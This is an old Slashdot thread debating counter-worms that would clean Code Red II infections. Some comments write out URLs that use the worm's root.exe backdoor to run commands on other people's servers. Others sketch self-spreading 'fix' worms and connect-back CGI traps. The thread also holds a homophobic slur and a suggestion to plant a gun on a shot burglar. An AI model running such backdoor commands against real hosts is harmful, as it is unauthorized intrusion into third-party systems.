      But I think people are overlooking a more ominous repercussion, technically and ethically: Setting a precedent. If the precedent were set that it's OK to loose countercode upon the world, think of what might result.

      In other words, if counterviruses and antiworms became commonplace, it would turn the internet into one big war zone for autonomous code. And I can't even imagine what might result if an arms race broke out in that contest, though I expect some of its fruits would be quite frightening. I've already drawn the analogy to Core War in a previous thread.

      --
      I can see the fnords!
    4. Re:You could do that, but don't! by Necroman · · Score: 1

      I see it Now. Browsing SourceForge, and I could across a new project.. "WhiteWorm". Open sources virus anti-virus.

      --
      Its not what it is, its something else.
    5. Re:You could do that, but don't! by Anonymous Coward · · Score: 0

      Don't send it from your machine or a machine that is none to be used by you. I really don't think getting caught is a problem, they didn't catch the original virii writer. I do understand the part where you say a bug might crash some machines, but it will only crash NT and win2k so I don't think that it is a bad thing :). If a machine is already rooted(if you want to call it that), then it is their own fault, and they are causing more trouble then the new clean worm would cause.

    6. Re:You could do that, but don't! by Cro+Magnon · · Score: 1

      I'd have no problem if I just got a message that said "You are infected with CodeRed! Please run this patch". But I would NOT appreciate something like "I have just autoran patch to save you from CodeRed" I want to control what's on my machine, and whether it's a white or black hat, it's still an intrusion!

      --
      Slow down, cowboy! It has been 4 hours since you last posted. You must wait another few hours.
  215. Can we use the ip to warn those infected by bear_phillips · · Score: 1

    Do any of the ISPs accept lists of infected ips and then send a warning email to those users? I looked through my logs, and saw code red hits from a local smalltime website. I emailed the sysadmin and he patched his site and thanked me for the info. But most of the hits are from xxxx.rr.com .
    I would love to be able to forward a list of ips back to the ISP and have them send out the emails.

    --
    http://www.windmeadow.com/
  216. Out of the frying pan... by babbage · · Score: 2
    I've heard -- and this may be apocryphal so please correct me if I've got this wrong -- that the narcotics that we all know and love had an interesting evolution over the course of the last 150 years or so.

    Apparently, it seems that in the early 1800s, there was a general problem with people smoking too much opium, so people came up with a supposed cure for it -- morphine! Of course in hindsight this wasn't any better than opium, but at least it had a pain relieving effect so there was some medical use for it (and still is). Sure enough, former opium smokers got hooked on morphine, and a new cure was needed. What did we get? Heroin! This was much worse, had no worthy side effects, and has generally been a huge headache ever since. What was the solution? Go cold turkey? Of course not, we came up with yet another new drug -- methadone. This one seems to have the great benefit of not being worse or more addictive than it's predecessor, but that just means that people don't want to stop using heroin in favor of methadone, so while methadone may not be worse, it does little good either.

    Like I say, this may not actually be true, but I think it illustrates the point very well. Even if it isn't true, there are still similar examples all over the place -- people that give up cigarettes for nicotine gum, etc.

    This sort of suggestion has the same critical flaw: it might look good on paper, but in practice you're just trading one nasty thing for another. Sending out a benevolent trojan sounds like a nice idea, but how do you know that it'll be benevolent anyway? Are you sure it isn't going to be vulnerable to some flaw that will do more harm than good? You've checked all your buffers and are careful in what your program accepts and strict in what it sends out? Moreover, you're confident that, even if it *is* perfectly benign (which, let's be honest, is a tricky assertion at best, and very hard to verify) once it's out in the wild can you guarantee that your code isn't going to get hijacked by someone less saintly or all-knowingly proficient as you surely are?

    I doubt it.

    These sorts of proposals sound nice but are fraught with danger and likely to come to a bad conclusion, both technically and, let's not forget, legally. This sort of idea comes up every now and then -- K5 is debating it right now, too -- but it's never a good idea and in practice it will never reliably work. It's clever & tempting, but raises more problems than it solves, just like trading morphine for heroin...

  217. Re:I Hope You Keep Bail Money Near Your Gun by Unknown+Bovine+Group · · Score: 1
    Where do YOU live? I'm coming over to steal your stuff.

    --
    m00.
  218. Re:I Hope You Keep Bail Money Near Your Gun by WNight · · Score: 2

    I agree that 'stuff' is worth less than a life. However I don't think that's the end of the story.

    Some people, to me, are of negative worth. These would be the rapists and murderers. I wouldn't assume someone was of negative worth, but I think the simple fact of finding them in my house without my permission, despite locks, would be fairly strong evidence for that.

    Now, I don't necessarily think these people should be killed, but my adversion to killing is sufficiently lowered in those (hypothetical) circumstances, that I would be willing to shoot, if I thought it was warranted.

    Now, what is warranted... Tough question. To me, seeing some kid trying to break into your garage isn't. Seeing someone walking *out* of your house with the TV, isn't. Heading the door be kicked down and seeing someone come in, is.

    If I could clearly see them and tell they didn't have a weapon handy, I'd give them a warning to leave. If I couldn't, why would I want to risk my life and that of my family, by giving them a warning which they might use only as a chance to duck for cover before going for their weapon?

    There's been a rash of home invasions in my area, which often lead to murder. I don't know about you, but my door has never been kicked down, I think I'd assume the worst, and in that case, be willing to defend myself. Any criminal intending only theft should either announce himself "Hey, I'm just here to steal the TV" or risk my assuming that since he broke the door down, he's probably got more sinister motives, given the rash of invasions/murders.

  219. Re:That's the worst idea I've ever heard by Crag · · Score: 1

    While what you say is factually true (spoofing the source is tricky), the principle of not fighting fire with fire is still reasonable. Whenever you automatically respond to an attack with another attack you open up the potential for an explosive situation.

    The best defense is a good defense. Education and superior software are the safest, most effective cure for network-transmitted-infections. :)

  220. @work by clinko · · Score: 2

    A funny story from where I work. Some guy took the code from the melissa virus and tried to do the same thing. While doing it, he accidentally ran it and set off his screwed up version of it accross our network. Big fun :)

    1. Re:@work by Raging+Idiot · · Score: 0
      Yeah, that all seems to be a problem for the willy-sucking faggots on my corporate network.

      I've been spending a lot of time reading the BOFH manuals. I'm thinking there's some really good ideas in there. Mmm, electrocution through the keyboard....

      --


      Stupidity never felt so good.
    2. Re:@work by Anonymous Coward · · Score: 0
      there is no way that he is going to "relearn" how to use the Internet

      So? That's quite understandable.

      I don't see your problem. Internet should be EASY to use. Otherwise only an elite group of people will be able to use it. If AOL interface has already achieved the level that a joe-sixpack can use the Internet, then it should become the mainstream commercial interface to the information superhighway which is the right of every citizen.

      One of the most serious problem I have with the Internet is that it is still not equally accessible for everyone. And I mean everyone. Senior-citizens, financially handicapped citizens, ethnic minorities, people with no computer skills and so on. Otherwise a huge segment of the population will be seriously disadvantaged. I'm sure you and people like you feel comfortable in your ivory tower of technical knowledge, but face it. It's not fair. The Net belongs to everyone. You're just trying to protect your privileged knowledge.

    3. Re:@work by Anonymous Coward · · Score: 0

      Clearly you are confused. It's bookmarks and FAVORITES, not shortcuts...

    4. Re:@work by Anonymous Coward · · Score: 0
      I don't know.

      You tell me!

    5. Re:@work by Raging+Idiot · · Score: 0

      Everyone knows what "Internet" means. Not everyone understands thet that the world wide web is just one small part of that. Cater to the users by calling it Internet. It's no different from installing AO"Hell" on every computer, except that renaiming an icon doesn't cause the entire corporate network to crash down around you.

      --


      Stupidity never felt so good.
    6. Re:@work by unitron · · Score: 2
      If clicking the icon launches a browser, shouldn't the icon be labeled "Browser", or perhaps whatever actual browser it launches? Didn't I hear a rumor somewhere that there's more to the internet than just HTML?

      Or is it easier to make fun of and complain about ignorant users if you do what you can to keep them that way?

      --

      I see even classic Slashdot is now pretty much unusable on dial up anymore.

  221. It sounds good in theory... by r0ach · · Score: 0

    But even if someone made an "anti-virus" virus, they themselves would probably get screwed over... Even Robin Hood isn't immune to the law...

    --
    -- www.RoachMcKrackin.com
    1. Re:It sounds good in theory... by mini+me · · Score: 1

      would a

      net send %COMPUTERNAME% Warning you have been infected with the code red worm, blah blah blah

      Not be even more effective? Not only that, you won't have to write to their hard drive which the user may not like. And besides, who is going to miss a big pop-up message?? Where as a file may be missed.

    2. Re:It sounds good in theory... by wtmcgee · · Score: 1

      unfortunately it raises a lot of privacy issues. people that get caught for the whole virus bit are in trouble no just for being malicious to another's machine, but for gaining unauthorized access. no matter what the intent would be, you would still be making changes to someone's PC without their consent.

      --
      *** For a better tommorow, change your life today ***
  222. Applied to Nanotechnology Virii... by omnirealm · · Score: 1

    For now, I present this idea as a theoretical one. But in the not-so-distant future, I think we can all agree that this is not an "if" scenerio, but a "when."

    Our biological immune system is designed to fight biological threats. For the most part, these threats have been encountered some time in the past, and all immune systems that were not able to combat the threat were compromised, and the host died. Due to mutations, only a few immune systems had some characteristic that allowed them to defend against the threat. These immune systems were slight deviations from the "mainstream" immune system in the gene pool at the time. All hosts that had the "mainstream" immune system perished, and those resistant to the threat survived. Due to the void created by the deaths, those with the resistive immune system had more access to the resources left behind, and they reproduced and created the new dominant gene pool, which is resistent to the disease. This is known as "natural selection."

    Suppose a nanobot virus is developed against which the human immune system cannot possibly defend. In this case, the only thing that would save the human race would be another nanobot that augments the immune system to provide protection against the new threat.

    In this case, most of the human race would not have the resources, or even the means, to learn about this "white-hat" nanobot and to obtain it. Would it be ethical to start distributing this anti-viral nanobot in community water systems?

    --
    An unjust law is no law at all. - St. Augustine
    1. Re:Applied to Nanotechnology Virii... by omnirealm · · Score: 1

      What I meant to say... the information-retrieval resources or the physical means to obtain the good nanobots :-)

      --
      An unjust law is no law at all. - St. Augustine
  223. That's what's so great about living in Texas by JudgeFurious · · Score: 1

    Here if it's after dark and you see someone breaking into your car out in the driveway you are within your legal rights to shoot them. It falls under something called "Criminal Mischief at Night" and while it is not a case where you cannot be charged with shooting the guy it is a defense to prosecution that has used with a great deal of success in this state. God I love living in Texas!

    --
    Appended to the end of comments you post. 120 chars.
  224. Re:There is another way... by bear_phillips · · Score: 1

    Here is a simple script to parse out the offending IPs and timestamp on linux/apache systems. It removes dupes too. This may be easier to read

    #!/usr/bin/perl

    # open the log file
    open(LOG,"/usr/local/apache/logs/access_log");

    while ($line = <LOG>) {
    #Get the code red log lines
    if ($line =~ /default.ida/) {
    # Split out just the IP and time
    ($validstuff,$junk) = split(/\"GET/,$line);
    ($ip,$time) = split(/- -/,$validstuff);
    $ip =~ s/ //g;
    #Put them in a hash to get rid of dupe IPs
    $ips{$ip} = $time;
    }
    }

    # Print it back to the screen
    @keys = keys %ips;
    foreach $tmp(@keys) {
    print "$tmp $ips{$tmp} \n";
    }

    --
    http://www.windmeadow.com/
  225. Yes, but it's a horrible idea. by dave-fu · · Score: 1

    And for one simple reason: while it looks like the Code Red XXX variant, the fact of the matter is that you don't conclusively know that it is and even if you do, we're not dealing with a clinical lab dissection here. It's in the wild, it's already been backdoored, and someone else may have already loaded SubSeven or something of the sort on and been smart enough about it to cover their tracks, so you're left with your hands in the cookie jar and some explaining to do to some common sense-challenged lawyers.
    The Code Red worm is a known quantity. If people see files indicating they've been hit, hopefully they'll be smart enough to pull the plug and reformat/reinstall their system. Past that, there's not much you can do: pulling traces of the worm off the machine might actually be helping someone who came in between the time the machine got rooted and you fixed it as no traces of the worm means they can go back to their ignorant bliss.
    Leave it and report it to their ISP's help desk. It's unfortunately the best thing you can do.

    --
    Easy does it!
    This comment has been submitted already, 276865 hours , 59 minutes ago. No need to try again.
  226. Re:Its entirely possible by Anonymous Coward · · Score: 0

    Course the trick is to setup my apache server so that there is a default.ida which happens to be a cgi that will go out there and shutdown their box. In this case they came to me, not the other way around. Much as someone asks for a jpeg from my machine they get the jpeg. If they ask for their box to be shutdown they get it.

  227. Goatse.cx virus! by Anonymous Coward · · Score: 0, Offtopic

    I'll die happy after the day someone writes a goatse.cx virus and I see it on the front page of CNN.

  228. Re:Its entirely possible by Chris+Burke · · Score: 4, Funny

    It's like asking: If someone is breaking into your house to use your coffee maker, are you allowed to kick down their door and throw away all their coffee?

    That's a great analogy. Mostly because of the image it conjurs.

    --

    The enemies of Democracy are
  229. Not the issue. by bool · · Score: 1

    The problem with these viruses/worms is that they cause DDoS attacks with all the scanning they do for vulnerable systems. To sufficiently write something that would act as a worm fix would require use of similar scanning methods thus furthering the DDoS potential of these worms.

    --

    ----------
    while (alive) { Work(); PayTaxes(); Eat(); Sleep(); }
    Bool
    1. Re:Not the issue. by RGRistroph · · Score: 1

      The fix virus doesn't have to scan, it just has to *listen* on port 80, because the infected machines will announce themselves by attacking. So the good virus can:

      1) listen on port 80 for the attack, or search local logs for the IPs of infected machines.

      2) Wait a reasonable amount of time, say 24 hours, so that responsible administrators of infected machines can fix their machines they way they want to.

      3) Use the root.exe backdoor to go in, close the hole, copy yourself there, and loop back to step 1)

      4) After you have been on a machine for a certain amount of time, say a month, delete yourself, leaving the machine uninfected and with the hole closed.

      How does that DDoS anyone ? It is conservative and unobtrusive enough that you wouldn't even know if it was already spreading through the internet now. The only way you could tell is by watching an infected machine to see if it got fixed.

  230. Yup, that's what I've been thinking. by Anonymous Coward · · Score: 0

    It's not a virus. It's simply a service from cleaning up systems that are bringing down the network. When a system sends a request with a series of XXXX's or NNNNN's, you continue the protocol by requesting that there system load a little program to correct the infection. If the machine chooses to comply, then fine. Otherwise, it can simply not do the request. It would be convenient if part of the program that cleans up the mess also installs this service. That way when other systems request the patch, it will be automatically downloaded and installed. Very convenient. It's not a virus -- it doesn't go hunting down systems. Systems come to it and request the patch!

  231. Re:Already been done by Anonymous Coward · · Score: 0

    You may not have to write it in assembly since you can bypass the VC++ runtime library and make API-only executables that are 3-4K in size that can do a lot.

  232. BugTraq by bemis · · Score: 1

    There was a very similar discussion on BugTraq during the first "outbreak" of CodeRed. The consensus pretty much was that while this would be technically possible, and (really) trvial, technically -- the question must arise "we can, should we?" -- and the ultimate answer appears to be a resounding "no".

    By loosing another worm onto the network, we would be adding to an already saturated network significantly more traffic -- *and* we'd be violating anothers box/property -- ultimately making the writer of any "CodeRed-Fix_worm" no better than the original authors. (How many worm/virus/exploit writers do you know that have said "i wrote it to show that the vulnerability existed -- so someone would fix it"?)

    bemis
    -- Everyone in the world is doing something without me.

  233. Already been done by Xeger · · Score: 4, Interesting

    I thought of doing this a few days ago and I started coding. I got as far as a script to automatically reboot attacking machines, to help slow the spread of Code Red.

    I had begun work on a worm called Code Blue that would infect Code Red machines and clean them of Code Red. This kind of work is very laborious since it involves writing Intel assembly code that uses the Win32 API and runs in a Windows environment.

    Before I could finish, my best friend (who is a security consultant) informed me that somebody has already done this. There is a perl CGI script going around that you can put into your root directory and name "default.ida" so that infected machines will cause it to execute.

    The script connects to the IP of the attacking machine, uses the Code Red II backdoor to clean the system of trojanned files. Then it uses the very same buffer overflow exploit used by Code Red to send a binary to the server that patches IIS, removes Code Red-related registry entries and reboots the machine.

    1. Re:Already been done by startled · · Score: 4, Interesting

      2 things.
      1. Where's the script?
      2. Shouldn't it be modified to install itself? Otherwise, it'll get drastically outpaced.

      Note: yeah, yeah, ethics and so on. Disclaimer, and another one.

    2. Re:Already been done by gamorck · · Score: 0

      Give me a link to the URL! That would rock. I've been getting hit hard with this virus and my attempts to write the same util in Vbscript/ASP/C++ have been unsuccessful.

      Moderators: MOD THE PARENT UP!

      Gam
      "Flame at Will"

      --
      I love idealists not because I am one, but because they make life bearable for pragmatists such as myself.
    3. Re:Already been done by Bob+McCown · · Score: 1

      If true, where can we get this supposed amazing code?

    4. Re:Already been done by iabervon · · Score: 4, Insightful

      While you're at it, why not set up your server to document that it does that? E.g.

      Go <a href="default.ida">here</a> to check your server for the Code Red worm and remove it if found.

      Unlike an actual anti-security-hole virus, in this situation you are providing a legitimate and documented response to an actual request. If you're not scanning other machines unless they actually ask (either by following the link or by attacking you), it's not really any more unethical than, say, active FTP (if you send this message, I will open a connection back to you and send some data over it). It is no more using the other person's machine than, say, slashdot forcing my machine to render an HTML document or an FTP server forcing my machine to store the document I download.

    5. Re:Already been done by Phroggy · · Score: 1

      Would you mind sharing?

      --
      $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
      $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
  234. It's not a virus, it's a vaccine. by docstrange · · Score: 0

    Ok, First I'd like to say that I had this idea, and submitted the same exact story to slashdot about a week and a half ago and it was rejected. It included the idea of a passive code red virus, that only fixed active hosts that probe a machine that I like to refer to as a "code red trap" If network admins worldwide were to put up anti code red stations based on a modified version of the code found on kuro5hin........... (essentially a mouse trap for code red) It could run in the background, install the M$ patch then reboot the pc. (or popup a dialog requesting a reboot) my 2 cents.

    --
    Remember that you are unique, just like everybody else.
  235. Beneficial Worms by Restil · · Score: 2

    I have spent the last week thinking this over, and spent some time coding a test. Working with a known named hole, I ran a vulnerable version of named on a few of my machines.

    I obtained some script kiddy code to open up a shell on the alternate machine and started to modify it. Since I have no desire to be assused of starting a virus of any kind, I have no intention of finishing or releasing this, but I want to have the concept proven in case someone with more guts than I decided to release something similar.

    No matter how you look at it, I believe that releasing this worm would be illegal, at least in the US where I live. Knowing this, I'm not going to concern myself with legal issues, but with ethical ones. The purpose of this prototype worm is to exploit the named deamon and obtain a shell on the victim computer. Then it will send over a copy of the worm, along with a nonvulnerable version of named.

    On the victim's side, it will make a copy of all programs and configuration files it needs to change and replace them with safe versions. It will then send a message to root on that machine explaining exactly what was done and why, how to reverse the changes in case the worm broke something, and what to do in the future to avoid the same or similar problems. The worm will then
    find and exploit 256 more systems within the same network level, one in each subnetwork. For instance, if the worm is currently working at the class A level for the 24.0.0.0/8 network, it will try to find one system in the 24.1.0.0/16 network, one in the 24.2.0.0/16 network, etc. Each progression will work one level lower. This will prevent the same machine from being hit more than twice for every pass the virus makes over the internet. After finding 256 systems, the worm will shut itself down and remove itself.

    The important factors of this worm is the fact that it will ONLY be beneficial. If it causes more problems than it solves, it will be seen as another nuisence instead of fixing security holes as it is intended. It is important that root on the machine is notified of any changes. This gives the administrator the opportunity to fix other potential problems and if necessary reload the system. There must be a way that an administrator can leave configuration files on the machine so the worm will function in a limited capacity. The machine operator can therefore prevent the worm from making changes although they will still be notified if there's a security risk.

    The worm will only search for and detect a single flaw in a single program, and only use that specific program to exploit the system and only replace that single program. Updating an entire package to fix one program may actually introduce other security problems into the system. Programs
    deployed on the system should also be either compiled on that system or staticly linked to prevent any library conflicts.

    On a side note, the worm might also want to check for a root kit on the machine and notify root if one exists. If the machine has already been comprimised (which is possible if there are vulnerable programs running), then the machine will need to be reloaded and root needs to know about it. Fixing one program won't make any difference.

    Am I completely off my rocker here? Comments?

    -Restil

    --
    Play with my webcams and lights here
  236. Unethical by jack.d.ripper · · Score: 1

    I'm sure it's possible, but it's still not ethical to go in and change people's systems without their knowledge or consent, even if you're "helping" them.

    1. Re:Unethical by Anonymous Coward · · Score: 0


      On the day it came out and I heard about here, I tried it out for curiousity's sake.. I looked up some IP's from my logs..and all I did was root.exe?/C+dir ... I did this maybe to two computers (although multiple times, the first times it didn't work correctly because of the stupid hex % thing), and finally to the second one I did a root.exe?/C+ren+root.exe+codered_fix or something like that.......... the next day my Netzero ISP account was cancelled... I don't know for sure this was the cause, but I think it must have been (why else would your username disappear from the database mysteriously)

      I think the best thing is : Do NOTHING!!

    2. Re:Unethical by kabhul · · Score: 1

      Why's everybody so concerned with ethicality and legality all of a sudden? What about efficacy? I'd think as long as the cure works and makes CodeRed go away, it is a good thing.

      I'm suprised nobody has tried to write a kind of counter-worm as of yet.

  237. Attack the attacker - Apache plug-in? by Anonymous Coward · · Score: 0

    Why hop around the entire 'net? This will only waste more bandwidth.

    Instead, why not setup something that will detect an attack (check those web logs) and send the "fix" to that attacker? I think it's ridiculous that MS has created such a pile of garbage (ridiculous, not surprising) and helping them isn't something I necessarily favor, but: 1) I'm tired of dealing with unwanted network traffic and 2) the 'net overall has started to bog down because of this crap.

    As far as legal issues, well, how legal is it for someone to have a comprimised machine that's attacking your system? The "fix" shouldn't do anything terrible....maybe create a folder on the desktop that says "UPDATE YOUR OS NOW!!" and then disable the machine (nicely).

    If someone made a reasonable fix, I'd use it. Just make it, set it up so it doesn't destroy the attacking system, don't let it destroy the host system ;-), and make it available so that anyone who has the balls (or is stupid; same thing I suppose) to use it can do so. The hell with them, I'll deal with the legal issues....just get these comprimised Microjunk web servers off the 'net already.

  238. I don't agree, but if we're on the subject... by Alan · · Score: 1

    Why just infect the infected machine and close the backdoor, but have the virus actually carry the Microsoft fix and install it right there and then.

    Wow, aren't MS products great that allow you to use so much power through a mail client?!

    *sigh*...

  239. Re:Its entirely possible by famillionaire · · Score: 1, Interesting

    I'm going to insult the next person who mods me up too, and hopefully we'll start a cool new Slashdot trend.

  240. you can't be sure... by Heywood+Yabuzof · · Score: 1

    I personally can't construct a situation like this, but let's say that the microsoft patch (or whatever patch your virus applies) causes that person's version of IIS to crash? Maybe they've got some crazy-ass custom app that uses those index server extensions for something and patching it breaks their custom app and that's why they haven't patched their IIS server? Then you really would be liable for lost business, etc.

    Or course, this seems highly unlikely. OTOH, strange things can happen with NT/IIS (asp-to-mail is my personal fave). Let's just use this as a purely hypothetical example. There might be a case where someone has a good reason not to patch their system. That doesn't excuse them from pursuing alternate methods of blocking or preventing this kind of thing, but you really can't assume that 100% of unpatched servers are unpatched due to stupidity or laziness (five nines, maybe :-)).

  241. Re:Its entirely possible by Grishnakh · · Score: 1

    But wouldn't this be harder to prosecute? After all, if you leave the burglar alive, it's your word against his. If you kill him, it's your word against a dead man's. You can say anything you want about how he threatened you, appeared to brandish a weapon, etc. Heck, you could quickly get an illegal handgun and stick it in his hand to seal the case shut.

  242. this is off topic and will kill my Karma, oh well by 20000hitpoints · · Score: 1

    Interesting, interesting. Let's talk (off topic) about right and wrong...

    Right and wrong... these are concepts, right? Ideas. But does a sea turtle know the difference between right and wrong? No. And what guides the actions of a sea turtle? Just drives, hunger, sex, etc. How are we different? Why do we bother to talk about concepts like right and wrong? Are we only driven by hunger, thirst? No... we are driven by ideas. You serve an idea. It drives you, determines what you do in the same way hunger drives a sea turtle.

    Ideas are programs, sets of instructions, and you are the computer that follows them. So who are the programmers?

    Philosophers and religious leaders. The ones who come up with the ideas.

    --
    Don't post on slashdot. Get back to work.
  243. Comparison with Genetic Engineering by delibes · · Score: 1

    I recall a number of stories (quick Google search returned this Guardian link) about modifying viruses IRL to cure real diseases. What you're talking about is a digital equivalent. Of course the real world viruses don't spread from body to body through the air (far too dangerous), so to maintain the analogy, you have to choose which digital doctor you'll allow to inject you with a computer virus. Can you imagine a Mad Doc McGates? *shudder* Hold on, this is just like downloading a virus update file... oh well.

    --
    This is not a sig
  244. Re:Its entirely possible by starseeker · · Score: 1

    Law or no law, I think you'd have a hard time finding a jury who wouldn't sympathise with the home owner, especially if they have small children. If someone willfully breaks into your home, they're asking for it. They have no right to be there.

    --
    "I object to doing things that computers can do." -- Olin Shivers, lispers.org
  245. Re:Darwinian Predator - Prey relationship on the n by famillionaire · · Score: 1

    I'm no moderator, but take heed, for the above is very funny.

  246. What About a Passive Worm? by Snowdog · · Score: 1

    A better (and possibly less illegal) approach would be to implement a "passive worm" that sits on your server and monitors the httpd logs, and only goes out and disinfects and patches servers that attempt to break into your system. In this case (it could be argued) the administrator of the server running the passive worm is only trying to defend his machine from attack.

    Clearly some sort of automated solutions is needed. Since IIS is installed by default on many systems as part of another software installation there are too many people out there with vulnerable systems who have no idea how to patch them.

  247. can we swap Katz for a lawyer? by Anonymous Coward · · Score: 0

    *wishing*

  248. Why not put up a webpage that people can use? by Keeper · · Score: 5, Insightful

    Just put up a website on your computer that advertises the ability to automatically clean the CodeRedII virus off of the viewer's system, if present.

    All the viewer has to do is click a button at the bottom of the screen.

    Just so happens that this particular button sends a request to /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX (etc), which then scans the sender's IP and proceeds to start a command session, download the patches, and do whatever else is needed to done to vanquish the worm.

    Afterall, they did click on the link, right? :)

    Seriously though, if someone wants to get all pissy about you going to their box and fixing their screwup, threatening to sue and the like, I'd just countersue ... afterall, they tried to hack your box first. ;)

    1. Re:Why not put up a webpage that people can use? by crisco · · Score: 1
      Ok, then both of you would be liable under the laws prohibiting 'unauthorized computer access'. And how would a judge decide, when faced with an act of negligence on one hand (dimwit didn't patch their MS boxe) and intentional action on the other hand (knowingly access a compromised box without authorization from the owner).

      But, yeah, what if a web page on your box was named default.ida and responded to a GET request with a response that caused some action on their machine.

      After all, they initiated the transaction, right? Same as browsing a web page, that causes an action on their box that originated on your web server.

      An above poster compares this to having medical treatment forced upon you. Using this analogy, this 'disease' forces specific behavior upon the host, in effect forcing the host to go around asking for something. Can it be unethical to give the host something it was asking for? :P

      Actually, it would be, the only ethical thing to do is to try to bring the problem to the attention of the owner of the machine. Obviously this means enlisting the help of the ISP, as many of these machines are on dynamic IPs.

      --

      Bleh!

    2. Re:Why not put up a webpage that people can use? by ahrenritter · · Score: 1

      Actually, combining this with the comments here and here could make a very effective and apparently legal counter to the Code Red II problem.
      If you posted a page on your website stating that people could access the link .../default.ida to automatically download code to clean their machine of code red and install the cleaner in its place, then put similar text into the default.ida script, that would give you a sembalance of "requesting permission".
      You don't cause additional problems because you only communicate with infected machines to boot!
      What do you think?

      --

      All I wanted was a rock to wind a piece of string around, and I ended up with the biggest ball of twine in Minnesota
    3. Re:Why not put up a webpage that people can use? by Keeper · · Score: 2

      Why wouldn't it be criminal? It'd certainly be more criminal than fixing their box -- I didn't have to do anything to gain access to their box; they were actively attempting to gain access to my box.

      They could argue "oh, it was code red" and I could argue "yeah, you had it, but you were actually doing things independently too".

      And they did click on the link of their own free will. ;)

  249. This is not the problem... by Anonymous Coward · · Score: 0

    The way i see it, we would have just as big of problem with the "cure" worm. How would we stop the "cure" worm, send out another one? and so on. It would suck up all most as much bandwith as code red.

  250. Indexing server is essentially part of IIS by brlewis · · Score: 2, Insightful

    The indexing server is bundled with IIS, and is one of the main reasons for choosing IIS -- searching is bundled right in. Comparing it with "some CGI script" is disingenuous.

    It would be fair to compare it with Apache modules that are part of the standard distribution and are usually installed. Care to point out a recent hole in such a module?

    Insightful, my foot. The pro-MSFT moderators are busy today.

    1. Re:Indexing server is essentially part of IIS by SuiteSisterMary · · Score: 2

      There is an incredible difference between there being an exploit, and there being an exploitable bug. Can I name a recent hole? No. Does that mean anything at all? No. I'll also point out, as I have been for weeks, that the patch available for a month before code red 1, leading me to believe that the patch spawned the exploit. Can't blame MS for people not installing patches like they should.

      --
      Vintage computer games and RPG books available. Email me if you're interested.
  251. I've done some of this by RobertGraham · · Score: 4, Interesting
    I created a program that automatically checked for the backdoor upon receipt of a /default.ida attack (/scripts/root.exe?). It didn't work: the CodeRedII worm is DoSing itself - after enough reinfections, the server stops being able to respond with requests.

    As a more casual defense, I've written stuff that causes the worm to hang in its receive function: http://robertgraham.com/tools/deredoc. It's kind fun, I've got hundreds of worm threads waiting for me to respond back to them.

    You can create benign anti-worms. You can setup a worm to only counterattack when attacked itself. Such a worm would not bother innocents, and would only spread to infected systems, cleaning as it went. In other words, it wouldn't be 'scanning' -- it only responds upstream to infected systems. There are two problems to that approach: the first is that CodeRedII self-DoS itself, so the systems cannot be exploited, either with the .ida attack or the backdoor. The second problem is that a heck of a lot of these systems are behind firewalls, and you cannot directly contact them on port 80 (CodeRedII has been extremely effective about worming its way around firewalls).

    You can evade legal constraints. Post the source of your anti-worm to Usenet as an example how an anti-worm is constructed. This is legal free-speech -- as long as you don't encourage others to run it.

    CodeRedII is raging inside corporations. It would be extremely ethical to put something on your own machine to help stop it. One example would be a script (CGI, PERL, PHP, ASP) named /default.ida on your system that did something like "/scripts/root.exe?/c+net+stop+w3svc" back at the attacker.

    1. Re:I've done some of this by Anonymous Coward · · Score: 0

      -1, Advertisement

      At least you're only advertising yourself this time instead of your company, but it would be nice if - just once - you could post without trying to direct people to your website.

  252. Re:I Hope You Keep Bail Money Near Your Gun by Anonymous Coward · · Score: 0
    Is human life worth less than property?

    I agree.

    If you shoot a burglar there are two crimes: a burglary and a homicide. In my book homicide is far more serious.

    Killing criminals should be left only for the law-enforcement people. Otherwise we'll end up with a vigilante society.

  253. DOS against security focus... by Lando · · Score: 2

    Ehmmm,
    For those of you participating in the DOS attack against Securityfocus...

    Although, they did not launch a posting to this, in the mailing list they said that they were going to discontinue taking mailings from people.

    When I went to get the link for this message I found that they are having a hard time responding to HTTP requests... Perhaps caused by the slashdot community?

    Lando

    --
    /* TODO: Spawn child process, interest child in technology, have child write a new sig */
  254. Re:Its entirely possible by mother_superius · · Score: 1

    IANAL.

  255. Re:I Hope You Keep Bail Money Near Your Gun by Peter+Dyck · · Score: 1
    Maybe in places like the UK they don't mind that robberies while the owner is home have gone up since the draconian gun laws. I do.

    Is human life worth less than property?

    You sure seem to think so.

    To me taking a human life is acceptable only purely as self-defence in a life-threatening situation. "Protecting your property" is not enough. You can always buy more stuff, you can get an insurance. Hell! You can set up alarms all over your property if you're so worried about it.

    Human life, on the other hand, can never be restored.

  256. just pop up an explorer window for cert.com by Gkeeper80 · · Score: 2, Informative

    this isn't original, a friend found it posted somewhere, but you can call up an internet explorer window with the cert advisory(or the patch for that matter)byt usung the root.exe file. like such: http://the.fckd.up.host/scripts/root.exe?/c+explor er+htt p://www.cert.org/advisories/CA-2001-23.html this works great for cable/dsl users who might not even know they have a webserver running. kinda tough to ignore explorer windows poping up, even on a MS computer.

  257. Better idea... by Anonymous Coward · · Score: 0

    Don't allow any connections inbound to the network that weren't initiated from the inside. Businesses have been doing this for years with stateful packet filtering or proxy firewalls. There's really no reason to let users run web servers on the net.. cable modem and DSL users are just too large a risk to allow unfettered server access. Now, if you sign a contract and agree to do a risk assessment of your server and keep up with patches (at risk of legal penalties) then fine.. you can run your web servers.

  258. Re:Its entirely possible by Rinikusu · · Score: 1

    /* If someone is breaking into your house to use your coffee maker, are you allowed to kick down their door and throw away all their coffee? */

    If the bastard is in *your* house, it really doesn't matter *why* he's there. You don't know for sure why he's there, all you know is he broke in your house. That's why if someone breaks into your house and you blast him, it's generally held as self-defence.

    With computers, it completely different. With a case like Code Red, after examining the virus itself, you can determine the damage it causes *after* the fact. However, sometimes that's "too late" and loss of property is accomplished (I don't care what the "anti-intellectual rights" people say. If I write a document, that document is mine, whether on floppy, printed out on a sheet of paper, or scribbled on a napkin.) The argument would be: If someone is actively probing my house for weaknesses, is that person considered a hostile threat? In my neighborhood, yes they are. You bang on my windows and doors trying to test the locks and 5-0 will on your ass faster than you can say "But, I was just testing to see if the doors were unlocked..." Intent is the key and unless you *live* in my house or I give you explicit permission to test my house, I, and the police, will assume your intent is hostile. Let your lawyers fight it, I don't care.

